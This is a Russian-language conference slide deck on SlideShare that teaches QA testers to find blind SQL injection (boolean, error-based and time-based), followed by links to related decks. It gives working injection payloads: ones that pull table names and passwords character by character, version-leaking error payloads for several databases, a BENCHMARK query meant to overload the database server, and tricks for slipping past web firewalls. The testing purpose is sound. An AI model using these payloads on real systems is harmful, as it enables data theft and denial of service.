SlideShare a Scribd company logo
1 of 20
Слепые SQL инъекции.
Игорь Бондаренко. Neklo.
Цикл докладов
1/18
1. Тестирование защищенности веб-приложений
http://sqadays.com/ru/talk/11187
2. Тестирование программных фильтров
безопасности
http://sqadays.com/ru/talk/11128
Архитектура уязвимости
BlindSQLInjection
Classical Injection
Error Based Injection
Double Blind Injection
2/18
Условия возникновения
уязвимости
• Результат выполнения внедренного запроса не отображается
среди данных доступных пользователю
• Внедренный запрос попадает в несколько разных запросов,
осуществляющих выборку из таблиц с различным числом
столбцов
• Используется фильтрация склеивания запросов
3/18
Classical Injection
Вывод информации на экран: Невозможен
Способ обнаружения: Посимвольный перебор
site.com/index.php?id=2
Select title, page
From Pages
Where Pages.id = 2;
4/18
Обнаружение уязвимости
site.com/index.php?id=2’ AND ‘1’ = ‘1’—
Select title, page
From Pages
Where Pages.id = 2
AND 1=1;
site.com/index.php?id=2’ AND ‘1’=‘2’—
Select title, page
From Pages
Where Pages.id = 2
AND 1=2;
5/18
Эксплуатация уязвимости
site.com/index.php?id=2’ AND USER_NAME() =
‘Admin‘
site.com/index.php?id=2’ AND
ascii(lower(substring((SELECT TOP 1 name
FROM sysobjects WHERE xtype='U'), 1, 1))) >
109
6/18
Кому это нужно?
7/18
Тестирование
1. Проверка корректной обработки истинных и ложных
запросов
2. Проверка со значениями подобранными для
существующих пользователей и имен таблиц
8/18
Error Based Injection
Вывод информации на экран: В сообщениях об
ошибках
Способ обнаружения: Использование готовых техник
для конкретных баз данных
9/18
Способ обнаружения
site.com/index.php?id=2’ OR (SELECT COUNT(*)
FROM (SELECT 1 UNION SELECT 2 UNION
SELECT 3)x GROUP BY MID(VERSION(),
FLOOR(RAND(0)*2), 64)) --
При наличии уязвимости приложение вернет
ошибку:
Duplicate entry '5.0.45' for key 1
10/18
Запросы для других баз
данных
• PostgreSQL:
site.com/index.php?id=1 and(1)=cast(version() as numeric)—
• MSSQL:
site.com/index.php?id=1 and(1)=convert(int,@@version)—
• Sybase:
site.com/index.php?id=1 and(1)=convert(int,@@version)—
• Oracle:
site.com/index.php?id=1 and(1)=(select
upper(XMLType(chr(60)||chr(58)||chr(58)||(select
replace(banner,chr(32),chr(58)) from sys.v_$version where
rownum=1)||chr(62))) from dual)--
11/18
Тестирование
1. Определение версии и типа поддерживаемой БД
2. Использование готовых эксплоитов для
определенной БД
12/18
Double Blind Injections
Вывод информации на экран: Отсутствует
Способ обнаружения: Посимвольный перебор с
использованием временных задержек
13/18
Техники эксплуатации
Посимвольный перебор с помощью Benchmark:
site.com/index.php?id=2’ AND
ascii(lower(substring((SELECT TOP 1 name FROM
sysobjects WHERE xtype='U'), 1, 1))) > 109 , 1,
BENCHMARK(2999999,MD5(NOW())))
Способ навредить серверу БД:
site.com/index.php?id=2’ AND BENCHMARK(100000,
BENCHMARK(100000,md5(current_time)))
14/18
Техники эксплуатации
Использование логических запросов AND и OR
• /?id=2+OR+0x50=0x50
• /?id=2+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),
1,1)))=74
Использование функций синонимов для WAF
• substring((select 'password'),1,1) = 0x70
• substr((select 'password'),1,1) = 0x70
• mid((select 'password'),1,1) = 0x70
• strcmp(left('password',1), 0x69) = 1
• strcmp(left('password',1), 0x70) = 0
• strcmp(left('password',1), 0x71) = -1
15/18
Тестирование
1.Проверка отсутствия временных задержек
при выполнении истинных и ложных запросов
2.Подбор приемлемого времени отклика
3.Проверка со значениями подобранными для
существующих пользователей и имен таблиц
16/18
Программы для поиска
уязвимостей
1. SQLMap
2. Blind SQL Injector Tool
3. WebInspect
17/18
Заключение
1.Проверки слепых инъекций значительно
повысят качество ваших тестов
2.Тесты быстрые и простые
3.Тесты можно не проводить вручную
18/18
Вопросы
Email: bondarenko.ihar@yandex.ru
Skype: igor.bondarenko1

More Related Content

Viewers also liked

Тестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиТестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиSQALab
 
Crystal Agile: Процесс обеспечивающий качество
Crystal Agile: Процесс обеспечивающий качествоCrystal Agile: Процесс обеспечивающий качество
Crystal Agile: Процесс обеспечивающий качествоZestranec
 
Организация процесса тестирования в Agile команде с помощью матрицы квадранто...
Организация процесса тестирования в Agile команде с помощью матрицы квадранто...Организация процесса тестирования в Agile команде с помощью матрицы квадранто...
Организация процесса тестирования в Agile команде с помощью матрицы квадранто...Zestranec
 
тестирование защищенности веб приложений
тестирование защищенности веб приложенийтестирование защищенности веб приложений
тестирование защищенности веб приложенийZestranec
 
Web Application Firewalls / Иван Новиков (ONsec)
Web Application Firewalls / Иван Новиков (ONsec)Web Application Firewalls / Иван Новиков (ONsec)
Web Application Firewalls / Иван Новиков (ONsec)Ontico
 
Mobile security testing
Mobile security testingMobile security testing
Mobile security testingZestranec
 
Тестирование крупного проекта командой из одного тестировщика
Тестирование крупного проекта командой из одного тестировщикаТестирование крупного проекта командой из одного тестировщика
Тестирование крупного проекта командой из одного тестировщикаZestranec
 
Тестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиТестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиZestranec
 

Viewers also liked (8)

Тестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиТестирование программных фильтров безопасности
Тестирование программных фильтров безопасности
 
Crystal Agile: Процесс обеспечивающий качество
Crystal Agile: Процесс обеспечивающий качествоCrystal Agile: Процесс обеспечивающий качество
Crystal Agile: Процесс обеспечивающий качество
 
Организация процесса тестирования в Agile команде с помощью матрицы квадранто...
Организация процесса тестирования в Agile команде с помощью матрицы квадранто...Организация процесса тестирования в Agile команде с помощью матрицы квадранто...
Организация процесса тестирования в Agile команде с помощью матрицы квадранто...
 
тестирование защищенности веб приложений
тестирование защищенности веб приложенийтестирование защищенности веб приложений
тестирование защищенности веб приложений
 
Web Application Firewalls / Иван Новиков (ONsec)
Web Application Firewalls / Иван Новиков (ONsec)Web Application Firewalls / Иван Новиков (ONsec)
Web Application Firewalls / Иван Новиков (ONsec)
 
Mobile security testing
Mobile security testingMobile security testing
Mobile security testing
 
Тестирование крупного проекта командой из одного тестировщика
Тестирование крупного проекта командой из одного тестировщикаТестирование крупного проекта командой из одного тестировщика
Тестирование крупного проекта командой из одного тестировщика
 
Тестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиТестирование программных фильтров безопасности
Тестирование программных фильтров безопасности
 

Similar to Blind Sql Injections. Хороши ли ваши тесты?

Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Ontico
 
Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Maksim Kochkin
 
Е. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовЕ. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовAlbina Tiupa
 
Тестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийТестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийSQALab
 
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхАнализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхDmitry Evteev
 
Современный статический анализ кода: что умеет он, чего не умели линтеры
Современный статический анализ кода: что умеет он, чего не умели линтерыСовременный статический анализ кода: что умеет он, чего не умели линтеры
Современный статический анализ кода: что умеет он, чего не умели линтерыcorehard_by
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложенияMaxim Krentovskiy
 
Практика использования Solar inCode
Практика использования Solar inCodeПрактика использования Solar inCode
Практика использования Solar inCodeSolar Security
 
OWASP: безопасное программирование на PHP.
OWASP: безопасное программирование на PHP.OWASP: безопасное программирование на PHP.
OWASP: безопасное программирование на PHP.EatDog
 
ФГУП НПП "Гамма". Денис Микрюков. "Система обнаружения вторжений в автоматизи...
ФГУП НПП "Гамма". Денис Микрюков. "Система обнаружения вторжений в автоматизи...ФГУП НПП "Гамма". Денис Микрюков. "Система обнаружения вторжений в автоматизи...
ФГУП НПП "Гамма". Денис Микрюков. "Система обнаружения вторжений в автоматизи...Expolink
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NETPositive Hack Days
 
Практика использования Dependency Injection
Практика использования Dependency InjectionПрактика использования Dependency Injection
Практика использования Dependency InjectionPlatonov Sergey
 
Архитектура кода нового 2ГИС Web API или куда мы дели MVC
Архитектура кода нового 2ГИС Web API или куда мы дели MVCАрхитектура кода нового 2ГИС Web API или куда мы дели MVC
Архитектура кода нового 2ГИС Web API или куда мы дели MVCDevDay
 
Функциональная верификация HDL-кода
Функциональная верификация HDL-кодаФункциональная верификация HDL-кода
Функциональная верификация HDL-кодаSQALab
 
6 кареев киров
6 кареев киров6 кареев киров
6 кареев кировqasib
 
Анализ работы антивирусных лабораторий
Анализ работы антивирусных лабораторийАнализ работы антивирусных лабораторий
Анализ работы антивирусных лабораторийPositive Hack Days
 
Методы обхода Web Application Firewall
Методы обхода Web Application FirewallМетоды обхода Web Application Firewall
Методы обхода Web Application FirewallDmitry Evteev
 
Тестирование осень 2013 лекция 4
Тестирование осень 2013 лекция 4Тестирование осень 2013 лекция 4
Тестирование осень 2013 лекция 4Technopark
 

Similar to Blind Sql Injections. Хороши ли ваши тесты? (20)

Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
 
Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)
 
Е. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовЕ. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтов
 
Тестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийТестирование защищенности веб-приложений
Тестирование защищенности веб-приложений
 
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхАнализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
 
Современный статический анализ кода: что умеет он, чего не умели линтеры
Современный статический анализ кода: что умеет он, чего не умели линтерыСовременный статический анализ кода: что умеет он, чего не умели линтеры
Современный статический анализ кода: что умеет он, чего не умели линтеры
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложения
 
Практика использования Solar inCode
Практика использования Solar inCodeПрактика использования Solar inCode
Практика использования Solar inCode
 
OWASP: безопасное программирование на PHP.
OWASP: безопасное программирование на PHP.OWASP: безопасное программирование на PHP.
OWASP: безопасное программирование на PHP.
 
PT MIFI Labsql
PT MIFI LabsqlPT MIFI Labsql
PT MIFI Labsql
 
ФГУП НПП "Гамма". Денис Микрюков. "Система обнаружения вторжений в автоматизи...
ФГУП НПП "Гамма". Денис Микрюков. "Система обнаружения вторжений в автоматизи...ФГУП НПП "Гамма". Денис Микрюков. "Система обнаружения вторжений в автоматизи...
ФГУП НПП "Гамма". Денис Микрюков. "Система обнаружения вторжений в автоматизи...
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
 
Практика использования Dependency Injection
Практика использования Dependency InjectionПрактика использования Dependency Injection
Практика использования Dependency Injection
 
Архитектура кода нового 2ГИС Web API или куда мы дели MVC
Архитектура кода нового 2ГИС Web API или куда мы дели MVCАрхитектура кода нового 2ГИС Web API или куда мы дели MVC
Архитектура кода нового 2ГИС Web API или куда мы дели MVC
 
PT MIFI Labsql
PT MIFI LabsqlPT MIFI Labsql
PT MIFI Labsql
 
Функциональная верификация HDL-кода
Функциональная верификация HDL-кодаФункциональная верификация HDL-кода
Функциональная верификация HDL-кода
 
6 кареев киров
6 кареев киров6 кареев киров
6 кареев киров
 
Анализ работы антивирусных лабораторий
Анализ работы антивирусных лабораторийАнализ работы антивирусных лабораторий
Анализ работы антивирусных лабораторий
 
Методы обхода Web Application Firewall
Методы обхода Web Application FirewallМетоды обхода Web Application Firewall
Методы обхода Web Application Firewall
 
Тестирование осень 2013 лекция 4
Тестирование осень 2013 лекция 4Тестирование осень 2013 лекция 4
Тестирование осень 2013 лекция 4
 

Blind Sql Injections. Хороши ли ваши тесты?